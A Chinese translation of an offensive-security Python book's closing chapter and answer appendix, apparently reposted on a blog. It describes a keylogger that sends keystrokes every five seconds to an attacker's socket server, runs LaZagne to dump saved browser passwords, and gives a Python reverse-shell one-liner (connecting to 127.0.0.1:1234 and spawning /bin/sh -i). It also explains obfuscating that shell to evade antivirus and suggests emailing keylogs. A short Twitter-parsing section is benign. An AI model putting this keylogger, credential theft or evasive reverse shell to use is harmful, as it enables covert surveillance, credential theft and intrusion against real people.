假设我们已经成功克隆了pyxhook的 GitHub 存储库,让我们在下载的存储库目录中运行cd命令,并创建一个名为key_logg.py的文件,其中包含以下内容:

# cd pyxhook
# gedit key_logg.py

键盘记录器使用了下载的pyxhook存储库模块。如第 2 行所示,我们正在导入pyxhook模块。以下代码创建了一个名为Mylogger的自定义类文件。它定义了一个方法startlogin(),其中包含触发中心逻辑:

现在,在我们的my_event自定义方法中,我们通过调用当前键盘事件来获取按下的键。在第 20 行,我们检查用户是否按下了空格键,其 ASCII 键码为 32。如果是这种情况,我们将space关键字替换为一个空格字符串" "。在第 22 行,我们更新我们的self.log_string实例变量,并附加用户按下的任何内容。

在第 23 行,我们检查键盘记录器的终止条件,这是通过检查用户是否输入了quitkhan字符串来确定的。这将设置self.running flag=False并停止键盘记录器。如果用户没有输入此字符串,键盘记录器将继续更新self.log_string字符串,并在每 5 秒发送log_string到攻击者机器上。这由第 25-30 行处理。用于将log_string发送到攻击者机器的方法是send_to_attacker()方法,其定义从第 8 行开始。

在第 32 行,我们创建了一个名为hmpyxhook模块的实例。一旦创建,我们将hm实例绑定到一个名为self.my_event的自定义方法。当按下键时,这将触发my_event方法。在第 33 行,我们将hm实例绑定到计算机的键盘,这意味着每当键盘上按下任何键时,都会调用keyDown操作,该操作绑定到我们的my_event自定义方法。在第 34 行,我们有一个无限循环,它将一直运行,直到self.running标志设置为True。这意味着my_event方法将在每毫秒后被调用,并记录按下的按键。

应该注意,攻击者的 IP 和端口可以根据需要更改。在攻击者端,我们有一个套接字服务器,它在端口8080上保持监听并接受来自客户端的连接。每当它接收到任何数据时,它都会将其放入log_file日志文件中。实现攻击者服务器的代码片段如下:

上述代码很简单,并且在高级 Python 模块章节的套接字编程部分中已经详细讨论过。它只是打开一个套接字并监听客户端连接。当它接收到数据时,它将其放入一个日志文件中。让我们运行服务器和键盘记录器,看看将记录哪些按键。

让我们按照以下顺序开始进程:

python3.5 server.py
python3.5 key_logg.py

以下截图是我们在输入时记录器产生的终端输出:

同时,我们打开浏览器并输入www.google.com。我们还可以将当前窗口传递给攻击者,上面已经输入了数据。参考 GitHub 存储库上分享的例子,example.pygithub.com/JeffHoogland/pyxhook/blob/master/example.py

让我们看看服务器生成的日志文件,并分析它捕获了什么:

哇!从上面的截图可以看出,记录器成功地捕获了所有按键。请随意进一步探索;这是一个非常强大和破坏性的实用程序。

pyhook - 基于 Windows 的键盘记录器

以下是用于启动基于 Windows 的键盘记录器的代码片段:

如前所述,代码与我们之前在 Linux 用例中讨论的代码相同。上述代码简单地将所有按键记录在一个名为mylog.txt的文件中。然而,它不会将其发送给攻击者。通过这个,我们结束了键盘记录器部分。

解析 Twitter 推文

作为攻击性安全领域的一员,我们可能会想为什么需要解析 Twitter 推文。这个问题是合理的,因为这个用例更适合于防御性安全。然而,如果我们针对特定个人或特定组织,它可能有助于揭示大量信息。

如前所述,Twitter 推文解析可以被网络情报团队用来查看是否有诽谤或敏感内容是以组织的名义发布的。让我们来看下面的例子,解释了 Twitter 推文解析。首先,我们需要按照以下步骤安装 Python 模块:

pip3 install tweet_parser

我们的例子将 Twitter 动态作为输入 JSON 文件,并解析所有推文以生成输出。让我们创建一个名为sample.py的文件,如下所示:

让我们使用一个名为exp.json的示例 Twitter 动态文件,如下所示:

接下来,运行代码以打印所有推文如下:

第 14 行创建的 Twitter 类对象,tweet=Tweet(tweet_dict),有许多其他方法和变量,可以提供有关推文的详细信息,如日期、时间、喜欢和转发。可以通过运行dir(tweet)来获取不同支持的方法,其输出如下:

['__class__', '__contains__', '__delattr__', '__delitem__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'all_text', 'bio', 'clear', 'copy', 'created_at_datetime', 'created_at_seconds', 'created_at_string', 'embedded_tweet', 'favorite_count', 'follower_count', 'following_count', 'fromkeys', 'generator', 'geo_coordinates', 'get', 'gnip_matching_rules', 'hashtags', 'id', 'in_reply_to_screen_name', 'in_reply_to_status_id', 'in_reply_to_user_id', 'items', 'keys', 'klout_id', 'klout_influence_topics', 'klout_interest_topics', 'klout_profile', 'klout_score', 'lang', 'media_urls', 'most_unrolled_urls', 'name', 'original_format', 'poll_options', 'pop', 'popitem', 'profile_location', 'quote_count', 'quote_or_rt_text', 'quoted_tweet', 'retweet_count', 'retweeted_tweet', 'screen_name', 'setdefault', 'text', 'tweet_links', 'tweet_type', 'update', 'user_entered_text', 'user_id', 'user_mentions', 'values']

用 Python 窃取浏览器密码

Python 在网络安全方面是一种非常强大的语言。有大量令人惊叹的攻击性和防御性安全工具是用 Python 编写的,而且很容易定制和修改以满足我们的需求。在本节中,我们将看到如何使用 Python 来窃取存储在浏览器中的密码。同样,由于我们已经有了许多令人惊叹的工具可供使用,我们不会重复造轮子,而是重复利用已有的工具。让我们按照以下步骤下载 GitHub 存储库:

git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZange
pip3 install -r requirement.txt

接下来,只需运行该工具以查看浏览器密码,如下所示:

python3.5 laZagne.py browsers

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

------------------- Firefox passwords -----------------

[+] Password found !!!
URL: https://www.packtpub.com
Login: b'*****'
Password: b'******'

[+] Password found !!!
URL: http://myworld.du.ae
Login: b'******'
Password: b'******'

[+] Password found !!!
URL: https://www.genymotion.com
Login: b'***********'
Password: b'*********'

[+] Password found !!!
URL: https://www.udemy.com
Login: b'*********'
Password: b'********'

[+] Password found !!!
URL: https://retail.onlinesbi.com
Login: b'*********'
Password: b'*******'

[+] Password found !!!
URL: https://www.linkedin.com
Login: b'****'
Password: b'****'

[+] Password found !!!
URL: https://login.microsoftonline.com
Login: b'****'
Password: b'****'

[+] Password found !!!
URL: https://cdp.packtpub.com
Login: b'****'
Password: b'****'

[+] Password found !!!
URL: https://www.netflix.com
Login: b'****'
Password: b'****'

[+] Password found !!!
URL: https://www.phishtank.com
Login: b'****'
Password: b'****'

[+] Password found !!!
URL: https://id.atlassian.com
Login: b'****'
Password: b'****'

[+] Password found !!!
URL: http://192.168.1.102
Login: b'****'
Password: b'****'

[+] Password found !!!
URL: https://twitter.com
Login: b'****'
Password: b'****'

[+] 59 passwords have been found.
For more information launch it again with the -v option

这个工具非常方便。它不仅可以提取浏览器密码,还可以从以下位置提取密码:

  • 系统管理员

  • 全部

  • 内存

  • 钱包

  • 聊天

  • 邮件

  • 数据库

  • WiFi

  • 浏览器

Python 用于无杀毒软件持久性 shell

正如我们所知,规避杀毒软件的最佳技术之一是编写自定义的利用程序。如果利用程序是从头开始编写的,杀毒引擎几乎没有机会将代码签名与已知的恶意签名匹配。在本节中,我们将编写一个自定义 shell,从受害者的机器返回一个反向 shell,并查看有多少 AV 引擎可以检测到它。

让我们编写一个自定义的利用程序,命名为my_car.py,并将以下代码放入其中:

如果我们观察前述代码,我们会发现它是一个 Python 代码的改编,用于将反向 shell 生成到攻击者的 IP 地址。我们正在导入 Python 模块,并在本地为导入的模块分配别名。杀毒引擎主要是基于签名方法工作的,已知的签名,如subprocess.call["/bin/sh","-i"'\],可能会被检测到。在这种情况下,我们正在玩弄本地变量,以确保攻击者 IP、端口号、OS 模块和其他 Python 模块不被检测到。前述代码改编自的原始代码如下所示:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

现在让我们运行代码以查看是否获得 shell。我们将使用 Netcat 监听器接收 shell:

nc -nlvp 8000
python3 my_car.py

实施前述命令后,会产生以下截图中显示的输出:

我们可以看到前述代码运行得相当好。重要的是我们要看看这是否会被任何杀毒引擎检测到。让我们使用 VirusTotal 工具进行检查,如下所示:

现在让我们看看我们是否被任何扫描引擎检测到了:

正如我们所看到的,57 个扫描引擎中没有一个检测到这个文件。

值得注意的是,这一章节写作和准备的当天我们没有检测结果。随着时间的推移,读者可能会上传更多的样本,后端团队可能会根据代码样本更新签名,因为我已经上传了它。后端人员的静态分析将标记为恶意。然而,稍作修改后,它将能够再次避免被检测。

总结

在本章中,我们学习了开发能够规避杀毒软件的自定义利用程序。我们还学习了如何开发一个能够将按键记录发送到远程攻击者的自定义基于 Linux 的键盘记录器。我们还探讨了与解析 Nessus 和 Nmap 报告有关的各种概念。我们了解了如何使用 Python 工具提取浏览器密码,以及如何解析 Twitter 信息。

这一章标志着本书的结束。我建议您更多地了解 Python,并在攻击性安全方面更经常地应用它。一个很好的开始是将本书中讨论的所有示例、用例和利用程序尽可能地泛化。

问题

  1. 我们能通过电子邮件发送键盘记录吗?

  2. 我们如何改进键盘记录代码?

  3. 我们如何改进持久性 shell 漏洞利用代码?

进一步阅读

第十六章:评估

第一章,Python 简介

  1. 是的,Python 在最真实的意义上是一种开源语言。Python 与其他开源语言的区别在于,我们可以看到每个 Python 模块的源代码,甚至可以在运行时修改它。

  2. Python 编程语言由 Python 软件基金会管理,其目标是推广、保护和推进 Python 编程语言。

  3. 不,Java 是一种更快的语言。

  4. Python 是一种面向对象的语言。

  5. 是的,Python 非常容易学习,因为它很简单。

  6. Python 在网络安全领域表现出色。大多数攻击性和防御性工具都是用 Python 编写的。大多数漏洞利用都是用 Python 编写的。大多数模糊测试都是用 Python 编写的。如果您在网络安全领域工作,Python 是一个很好的资产。

  7. 时代和技术正在变化和迅速发展。现在,ML 和 AI 是新的,但 10 年后,许多攻击性安全工具可能会进行改进,并且将具有 AI 和 ML 功能。提前开始并不会有害。

第二章,构建 Python 脚本

  1. Python 生成器可以用于处理所有实际问题,当您处理数据流时,可能是无限的。例如处理实时流。

  2. 是的,我们可以这样做。试试看,这非常方便。

  3. 是的,我们也可以尝试。

第三章,概念处理

  1. 将其用作面向对象的语言使其非常可重用。用 Python 编写的任何安全工具都遵循面向对象的模式。Nmap 库、Scapy、Selenium 等都是以面向对象的方式编写的实用程序。

  2. XML 可以使用 LXML 或 Etree 模块进行解析,而 CSV 可以使用 CSV、pandas 模块进行解析。

  3. 是的,我们可以尝试。我把它作为一个小任务留下。

  4. 方法装饰器是将方法与某些独特功能绑定的标志。

第四章,高级 Python 模块

  1. 我们可以使用一个名为billiard的 Python 库。它非常强大。

  2. 我们可能希望使用线程,当我们不希望并行执行时,但我们希望控制方法的执行。例如,如果我们希望方法 X 在 10 秒内执行并在此后终止,我们可以使用线程调用 join 来执行 10 秒。

第五章,漏洞扫描器 Python-第 1 部分

  1. 我们这样做是为了控制方法。我们通常希望方法 X 在 N 秒内执行并在此后终止。使用线程和多进程的组合可以更好地实现相同的功能。

  2. 我们可以利用multiprocess.pool库来查看是否可以获得更好的结果,此外,增加处理器核心始终是一个不错的选择。

  3. 是的,还有另一个 Python-Nmap 实用程序,称为libnmaplibnmap.readthedocs.io/en/latest/process.html

  4. 是的,我们可以。请在这方面进行更多探索。

第六章,漏洞扫描器 Python-第 2 部分

  1. Msfrpc。虽然它是一个很好的实用工具,但我个人在同时在多个会话中调用它时遇到了问题。

  2. 尝试使用Multiprocess.pool模块并增加处理器核心。

  3. 是的,当然我们可以。

  4. 是的,扫描器非常可扩展和灵活。任何 CLI 或 Web 工具都可以与其集成。

第七章,机器学习和网络安全

  1. 我们可以查看 ExploitDB 并查看各种相关漏洞。

  2. 大数据基础设施可以定义为部署多台计算机以形成一个集群,使用并行处理处理文件。Apache Hadoop 受到多个漏洞的影响,可以在 ExploitDB 上进行检查。

  3. AI 模仿人脑并像神经元一样工作,而机器学习则不是。

  4. Deep Exploit 是攻击性安全社区中使用 ML 的工具之一,它充分利用了 PT 和 ML 领域。

第八章,自动化 Web 应用程序扫描-第 1 部分

  1. 我们可以用 Jyton 编写 Burp Suite 扩展。

  2. 尝试使用简单的终端自动化来自动化 SQL-MAP Cli。

  3. 自动化的 Web 应用程序扫描确实节省时间,但质量方面存在一些折衷。此外,对于业务逻辑检查,没有任何自动化可以帮助。

第九章,自动化 Web 应用程序扫描-第 2 部分

  1. 我们可以自动化 XSS 检测,SSL 剥离,参数污染等等。

  2. 我们可以集成 Burp Suite API 和我们的自定义扫描程序,或者可以使用 Burpsuite API 与 Nessus API。

第十章,构建自定义爬虫

  1. 使用 Phantoms,Selenium 进行模拟爬行将对实现 JavaScript 和 Ajax 调用非常有帮助

  2. 我们可以将注入点作为结果,并开始使用 SQL,XSS 和其他有效负载对它们进行模糊处理。

第十一章,逆向工程 Linux 应用程序

  1. 我们可以探索终端自动化的方向,并尝试自动化/控制 evans 调试器的执行,就像我们使用pexpect自动化 Metasploit 一样。

  2. 我们应该更多地探索如何规避 ASRL 保护。

  3. 这将是一个很好的开始地方:sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-i

第十二章,逆向工程 Windows 应用程序

  1. 再次,终端自动化是答案。此外,Olly 调试器带有一个可以用来实现自动化的 Windows API。

  2. 这是一个很好的开始地方:bytesoverbombs.io/bypassing-dep-with-rop-32-bit-39884e8a2c4a

  3. 这主要是由于不同的堆栈和操作系统内核实现。

第十三章,利用开发

  1. SQLI,XSS 和 CSRF 都可以利用所描述的方法。

  2. 我们可以尽可能地使其通用,并尝试针对多个应用程序进行测试其有效性。

第十四章,网络威胁情报

  1. 一种方法是通过与 virus-total 和 Cymon 等外部网站进行接口,为 IOCs 添加更多上下文。为了获得更好的性能,我们可以考虑增加处理器核心。

  2. 是的,我们可以利用 celery,它可以很好地执行定时作业。

第十五章,Python 的其他奇迹

  1. 是的,我们可以。我们可以使用 Python 的smtp模块来实现相同的功能。

  2. 一种方法是使用电子邮件作为交付方式。此外,我们还必须发送按键的窗口信息,以获得完整的上下文。

  3. 利用生成隐晦 Python 代码的自定义通用算法可能是改进 shell 代码的一个很好的方法。

posted @ 2024-05-04 14:56  绝不原创的飞龙  阅读(89)  评论(0编辑  收藏  举报